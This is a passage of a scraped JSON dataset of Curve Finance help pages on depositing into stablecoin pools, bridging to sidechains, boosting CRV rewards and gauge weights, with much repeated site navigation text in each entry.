worth noting it also adds more layers of risks. All pools earn interest from trading fees. Some pools also earn interest from lending and there are also some pools with incentives. You can also receive CRV when you provide liquidity on Curve Finance. Each liquidity gauge receives a different amount of CRV based on how much the DAO allocates to it. Every time someone makes a trade on Curve.fi, liquidity providers (people who have deposited funds onto Curve) get a small fee split evenly between all providers, this is why you will see high vAPYs on days with high volume and high volatility. Its important to note that because fees are dependent on volume, daily vAPYs can often be quite low just like they can be very high. What are Curve fees? Swap fees are typically around 0.04% which is thought to be the most efficient when exchange stable coins on Ethereum. Deposit and withdrawals have fees between 0% and 0.02% depending if depositing and withdrawing in imbalance or not. If fees were 0%, users could, for example, deposit in USDC and withdraw in USDT for free. Balanced deposits or withdrawals are free. Last update: 2023-09-04 Back to top", "labels": ["Documentation"]}, {"title": "Depositing into a metapool", "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-a-metapool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into a metapool Table of contents Depositing into a Metapool Depositing Confirming and staking Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Depositing into a Metapool Depositing Confirming and staking Depositing into a metapool Depositing into a Metapool Metapools is a new concept to Curve Finance, it allows a single coin to be pooled with all the coins in another (base) pool without diluting its liquidity. Currently, the most common base pool is the 3Pool. It uses the three most liquid stable coins (USDT-USDC-DAI). Base & MetaPools Depositing Metapools offer several options for deposits. For example, in the [GUSD,[3Pool]] Metapool you can deposit the following: GUSD Any of the 3Pool (DAI-USDC-USDT) 3Pool LP token (3crv) When becoming a liquidity provider, you don't have to deposit all the coins, you can deposit one or several of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small deposit bonus. Second, once you deposit one stable coin, it gets split over the four different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit all four coins in the same proportion they currently are in the pool. The deposit wrapped option lets you deposit the base pool token (usually 3Pool). If you don't want to add all your stable coins, just click the \"Use maximum amount of coins available\" checkbox and enter the number of coins you wish to deposit and click \"Deposit and Stake\". If you deposit 3Pool LP token into a Metapool, you will be earning at the rate of the Metapool gauge but you earn trading fees from both the base and meta pool. Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will wrap your stable coins and deposit them into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards by locking CRV on the Curve DAO. Boosting your CRV Rewards Staking your $CRV Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Depositing into the susd pool", "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-the-susd-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the susd pool Table of contents Depositing into the sUSD Pool Depositing into the pool Confirming and staking Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Depositing into the sUSD Pool Depositing into the pool Confirming and staking Depositing into the susd pool Depositing into the sUSD Pool If youre wanting to figure out Curve, please read the starter guide . After reading this, you should have an understanding of how Curve works, how it makes money for liquidity providers and its risks which is ideally what you want before providing liquidity. Understanding Curve v1 Curve Finance sUSD pool has quickly become the biggest pool thanks to its SNX incentives which guarantee continuous returns to liquidity providers. The sUSD pool was born out of a partnership between Curve and Synthetix who sought to help bring stability to their stablecoin sUSD. The pool is not a lending pool which means your main APY only comes from trading fees. The pool has sUSD, DAI, USDC and USDT. Unlike Y pool, the sUSD pool is quite cheap to deposit in making it a good choice if you want to try Curve with a small amount. The current rewards have no expiry date but can be adjusted by a vote from Synthetix governance. Depositing into the pool Visit the deposit page ( https://www.curve.fi/susdv2/deposit ). You will need one or multiple stablecoins to deposit. The sUSD pool takes DAI, USDC, USDT and sUSD. First, it's important to understand that you don't have to deposit all coins, you can deposit one or several of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small deposit bonus. Second, once you deposit one stable coin, it gets split over the four different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit all four coins in the same proportion they currently are in the pool. If you don't want to add all your stablecoins, just click the \"Use maximum amount of coins available\" checkbox and enter the number of coins you wish to deposit and click \"Deposit and Stake\". Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will wrap your stablecoins and deposit them into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV and SNX . You can claim both those tokens from the minter gauge. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Depositing into the tri pool", "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-the-tri-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the tri pool Table of contents Depositing into the Tri-Pool Depositing into the pool Confirming and staking Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Depositing into the Tri-Pool Depositing into the pool Confirming and staking Depositing into the tri pool Depositing into the Tri-Pool The Tri-Pool is a classic Curve pool and improved upon earlier offerings in many ways. Here are some of the major improvements this pool: A new rampable A parameter (like on BTC pools) which can adjust liquidity density without causing losses to the virtual price (and to LPs) Gas optimised Will be used as a base pool for meta pools (which would essentially allow some pools to seemingly trade against underlying base pools without diluting liquidity) By only having the three most liquid stable coins in crypto, this pool should grow to become the most liquid and offer the best prices This pool is expected to become the most liquid and the cheapest to interact with making it a good place to start for newcomers wanting to try Curve with small amounts of capital. Because this pool is likely to offer the best prices, it will also likely be one of the Curve pools getting the most volume. See how to deposit and stake into the 3Pool: https://www.youtube.com/watch?v=OsRrGij9Ou8 Depositing into the pool Visit the deposit page ( https://www.curve.fi/3pool/deposit ). You will need one or multiple stable coins to deposit. The Tri-Pool takes DAI, USDC and USDT. First, it's important to understand that you don't have to deposit all coins, you can deposit one or several of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small deposit bonus. Second, once you deposit one stable coin, it gets split over the three different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit all four coins in the same proportion they currently are in the pool. If you don't want to add all your stable coins, just click the \"Use maximum amount of coins available\" checkbox and enter the number of coins you wish to deposit and click \"Deposit and Stake\". Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will wrap your stable coins and deposit them into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards by locking CRV on the Curve DAO. Boosting your CRV Rewards Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Depositing into the y pool", "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-the-y-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Depositing into the y pool Table of contents Depositing into the Y Pool (deprecated) Depositing into the pool Confirming and staking Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Depositing into the Y Pool (deprecated) Depositing into the pool Confirming and staking Depositing into the y pool Depositing into the Y Pool (deprecated) Warning The content of this page is deprecated but it was maintained here to preserve history. If youre wanting to figure out Curve, please read the starter guide at this address . After reading this, you should have an understanding of how Curve works, how it makes money for liquidity providers and its risks which is ideally what you want before providing liquidity. Curve Finance Y pool has long been one of the most popular pools on Curve Finance due to its strong returns from trading fees supplemented by iEarn which also lends your stablecoin in the background to the lending protocol with the best lending rates out of dYdX and AAVE. Y pool also receives CRV rewards since its launch in early August. Now you know how the Y pool makes money for liquidity providers and you're ready to start providing liquidity. Depositing into the pool Visit the deposit page ( https://www.curve.fi/iearn/deposit ). You will need one or multiple stablecoins to deposit. The Y pool takes DAI, USDC, USDT and TUSD. First, it's important to understand that you don't have to deposit all coins, you can deposit one or several of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small deposit bonus like seen on the screenshot above. Second, once you deposit one stable coin, it gets split over the four different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit all four coins in the same proportion they currently are in the pool. The \"Deposit wrapped\" option allows you to directly deposit Y tokens that have been previously wrapped (on yEarn Finance website). If you are depositing a normal stable coin, you can ignore this option. If you don't want to add all your stablecoins, just click the \"Use maximum amount of coins available\" checkbox and enter the number of coins you wish to deposit and click \"Deposit and Stake\" . You will then be prompted to confirm multiple transactions. Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will wrap your stable coins and deposit them into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV. You can claim them from the minter gauge. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards. Boosting your CRV Rewards Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Bridging funds", "html_url": "https://resources.curve.fi/multichain/bridging-funds/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Bridging funds Table of contents Bridging Funds $CRV Cross-Chain Important Bridges Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Bridging Funds $CRV Cross-Chain Important Bridges Bridging funds Bridging Funds In order to use Curve on chains other than Ethereum, you will need to bridge funds to the sidechain. Curve operates on several chains, documented here: Understanding Multichain Bridges are not operated by Curve, so Curve cannot offer support for using bridges. The following issues may affect users of bridges, so make sure to do research and exercise caution. Liquidity issues: Sometimes bridges do not have enough liquidity to process transactions. Usually the bridge will wait to refill liquidity before it permits funds getting processed. Stuck funds: Occasionally funds will get moved off one chain, but fail to appear on the new chain in a timely manner. Sometimes this gets resolved by simply waiting. In extreme cases, you should contact the support channels for the bridge in question. Hacking: Cross-chain communication can be complex, and the bridge is $CRV Cross-Chain The Curve token can be bridged across some chains, but does not always have full functionality. Staking of $CRV for veCRV must be done on Ethereum. Rewards voting for cross-chain gauges occurs on Ethereum. Important Bridges Arbitrum: https://bridge.arbitrum.io/ Fantom: Spookyswap: https://spookyswap.finance/bridge Polygon: https://wallet.polygon.technology/bridge/ xDai xDai Bridge: https://bridge.xdaichain.com/ Omni Bridge: https://omni.xdaichain.com/bridge Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Understanding multichain", "html_url": "https://resources.curve.fi/multichain/understanding-multichain/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Understanding multichain Table of contents Understanding Multichain Connecting your Wallet Curve Forks Avalanche Arbitrum Binance Smart Chain Fantom Harmony Optimis Polygon xDai Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Understanding Multichain Connecting your Wallet Curve Forks Avalanche Arbitrum Binance Smart Chain Fantom Harmony Optimis Polygon xDai Understanding multichain Understanding Multichain Curve exists across several chains, with several more planned. Curve's primary chain will always be Ethereum, but other sidechains have advantages including speed and cost. In order to use Curve on other chains, you must typically send your funds from Ethereum to the sidechain using the chain's bridge. All of Curve's active chains can be found in the \"Networks\" menu on the Curve homepage. Supported Sidechains as of 11/14/2022 Connecting your Wallet When you move to new chains, you will need to connect your wallet with the chain's RPC and chain ID. Generally Curve sidechain pages have a button you can press to automatically switch networks and populate this information for you. A common issue with sidechains is RPC networks that are temporarily or permanently unavailable. If you are having trouble connecting with RPC networks you may need to visit the chain's support networks to find a new RPC network. Curve Forks Curve forks include the following: Avalanche Avalanche is a sidechain that bills itself as \"blazingly fast, low-cost and eco-friendly.\" Curve's Avalanche site is hosted at https://avax.curve.fi/ Arbitrum Arbitrum is an Optimistic Ethereum L2. Arbitrum validators optimistically assume nodes will be operating in good faith, which allows for faster transactions. However, to retroactively allow opportunity to challenge malicious behavior, settlement time can be slower. In some cases this could mean it takes up to one week to bridge funds off-chain, so plan accordingly. Useful Links: Curve: https://arbitrum.curve.fi/ Bridge: https://bridge.arbitrum.io/ Block Explorer: https://arbiscan.io/ Binance Smart Chain Curve does not operate on Binance Smart Chain. The team at Ellipsis ( https://ellipsis.finance/ ) launched a fork of Curve that provides similar functionality. The Curve team authorized this fork, but does not actively maintain this fund. Fantom Using Curve on Fantom Harmony Harmony is a proof-of-stake sidechain promising two seconds of transaction speed and a hundred times lower gas fee. Curve's Harmony offerings are at https://harmony.curve.fi/ Optimis Optimism is verified by a series of smart contracts on the Ethereum mainnet and thus not considered a real sidechain. Curve's Optimism branch is located at https://optimism.curve.fi/ Polygon Using Curve on Polygon xDai The xDai chain is a stable payments EVM (Ethereum Virtual Machine) blockchain designed for fast and inexpensive transactions. Useful Links: Curve : https://xdai.curve.fi/ Bridges: xDai Bridge: https://bridge.xdaichain.com/ Omni Bridge: https://omni.xdaichain.com/bridge Block Explorer: https://blockscout.com/xdai/mainnet/ Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Using curve on fantom", "html_url": "https://resources.curve.fi/multichain/using-curve-on-fantom/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on fantom Table of contents Using Curve on Fantom Changing your MetaMask network Acquiring FTM Head to Curve Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Using Curve on Fantom Changing your MetaMask network Acquiring FTM Head to Curve Using curve on fantom Using Curve on Fantom Changing your MetaMask network Fantom is an EVM-compatible chain meaning it can easily run with MetaMask. The first step of this tutorial is to set up a different the Fantom network on Metamask. Click on Settings and Networks and add. Fill details as below: RPC: https://rpcapi.fantom.network Chain Id: 250 Symbol: FTM Explorer: https://ftmscan.com Acquiring FTM Now that you're set up in MetaMask, you can browse any Fantom dapps with ease. Each account on Ethereum also exists on Fantom which means you can use the same addresses without issues on Ethereum and Fantom. Please note Fantom does not yet support MetaMask via Ledger. To get started you'll need to get Fantom native currency FTM, you can acquire it on SushiSwap or most centralised exchanges. For the latter, you can transfer directly to your Fantom address via the Fantom blockchain. If you purchase FTM on the Ethereum blockchain, you can cross to Fantom using bridges. This will let you transfer FTM from Ethereum to Fantom and start transacting. Head to Curve Once that's done you can also bridge USDC/DAI and deposit and swap on Curve Fantom website making sure you're connected to the Fantom network in your MetaMask settings: Curve.fi Experience Curve like it's January 2020 Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Using curve on polygon", "html_url": "https://resources.curve.fi/multichain/using-curve-on-polygon/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Using curve on polygon Table of contents Using Curve on Polygon Changing your MetaMask network Acquiring Matic to pay for transaction fees Head to Curve Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Using Curve on Polygon Changing your MetaMask network Acquiring Matic to pay for transaction fees Head to Curve Using curve on polygon Using Curve on Polygon Changing your MetaMask network Upon visiting https://polygon.curve.fi/ , you will be prompted to change your network on Metamask: Acquiring Matic to pay for transaction fees Transaction fees on Matic are very cheap usually costing less than $0.0001 but you'll still need Matic to pay for gas. You can bridge some from Ethereum using the link below: Polygon Head to Curve Once that's done you can also bridge USDC/DAI and deposit and swap on Curve Polygon website making sure you're connected to the Polygon network in your MetaMask settings: Curve.fi If you haven't used Curve below you can check out the tutorial below: Depositing Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Boosting your crv rewards", "html_url": "https://resources.curve.fi/reward-gauges/boosting-your-crv-rewards/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Boosting your crv rewards Table of contents Boosting your CRV Rewards Figuring out your required boost Locking your CRV Applying your boost Formula FAQ Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Boosting your CRV Rewards Figuring out your required boost Locking your CRV Applying your boost Formula FAQ Boosting your crv rewards Boosting your CRV Rewards This guide is assuming you have already provided liquidity and that you are currently staking your LP tokens on the DAO gauge. One of the main incentive for CRV is the ability to boost your rewards on provided liquidity. Vote locking CRV allows you to acquire voting power to participate in the DAO and earn a boost of up to 2.5x on the liquidity you are providing on Curve. Click below if you have questions about how the vote locking boost works: Vote Locking Boosting your rewards video guide: https://www.youtube.com/watch?v=blZTCWu-DQg Figuring out your required boost The first step to getting your rewards boosted is to figure out how much CRV you'll need to lock. All gauges have different requirements meaning some pools are easier to boost than others. It depends on how much others have locked and how much the liquidity gauge has. You can find the calculator at this address: https://dao.curve.fi/minter/calc Locking your CRV Once you know how much and how long you wish to lock for, visit the following page: https://dao.curve.fi/locker Enter the amount you want to lock and select your expiry. Remember locking is not reversible. The amount of veCRV received will depend on how much and how long you vote for. You can extend a lock and add CRV to it at any point but you cannot have CRV with different expiry dates. After creating your lock, you will need to apply your boost. Applying your boost Head over to the minter page: https://dao.curve.fi/minter/gauges If you see your new boost after Current boost: then you do not need to do anything else. If your current boost hasn't moved, you will need to claim CRV from each of the gauge you're providing liquidity in to update your boost. After doing so, your boost should be showing. Your boost will not be updated until you withdraw, deposit or claim from a liquidity gauge. Formula The boost mechanism will calculate your earning weight by taking the smaller amount of two values. The first value is simple, it's the amount of liquidity you are providing which in this example is $10,000. This amount is your maximum earning weight. FAQ Vote Locking Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Creating a pool gauge", "html_url": "https://resources.curve.fi/reward-gauges/creating-a-pool-gauge/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Creating a pool gauge Table of contents Creating a Pool Gauge Deploy a Gauge Submit a DAO Vote Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Creating a Pool Gauge Deploy a Gauge Submit a DAO Vote Creating a pool gauge Creating a Pool Gauge Deploy a Gauge You can deploy the gauge directly through the UI simply by posting the address: https://classic.curve.fi/factory/create_gauge Submit a DAO Vote Once you've created your gauge, you need to submit it to the DAO for a vote. https://classic.curve.fi/factory/create_vote The address that submits must have 2500 veCRV in order to create a vote. Once the gauge has been submitted, politics take over. You may want to visit the governance forum and explain why your pool should be made eligible for rewards. Governance Forum Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Gauge weights", "html_url": "https://resources.curve.fi/reward-gauges/gauge-weights/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Gauge weights Table of contents Gauge Weights What are gauge weights? Why are gauge weights so important? Who can vote for gauge weights? How can I vote? How often can I move my voting weight? Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Gauge Weights What are gauge weights? Why are gauge weights so important? Who can vote for gauge weights? How can I vote? How often can I move my voting weight? Gauge weights Gauge Weights What are gauge weights? Simply put, a gauge weight translates into how much of the daily CRV inflation it receives. For example on the below chart, the Y pool is currently receiving around 72% of the daily CRV inflation. This means that all liquidity providers in the Y pool share 72% of the daily CRV. You can find each liquidity gauge relative weight on this page: https://dao.curve.fi/minter/gauges Why are gauge weights so important? Because those weights decide where the CRV inflation goes, it allows the DAO to control where most of the liquidity should go and balance liquidity. It's a powerful tool for voters that must be used responsibly. The gauge weight is updated once a week on Thursdays. Who can vote for gauge weights? 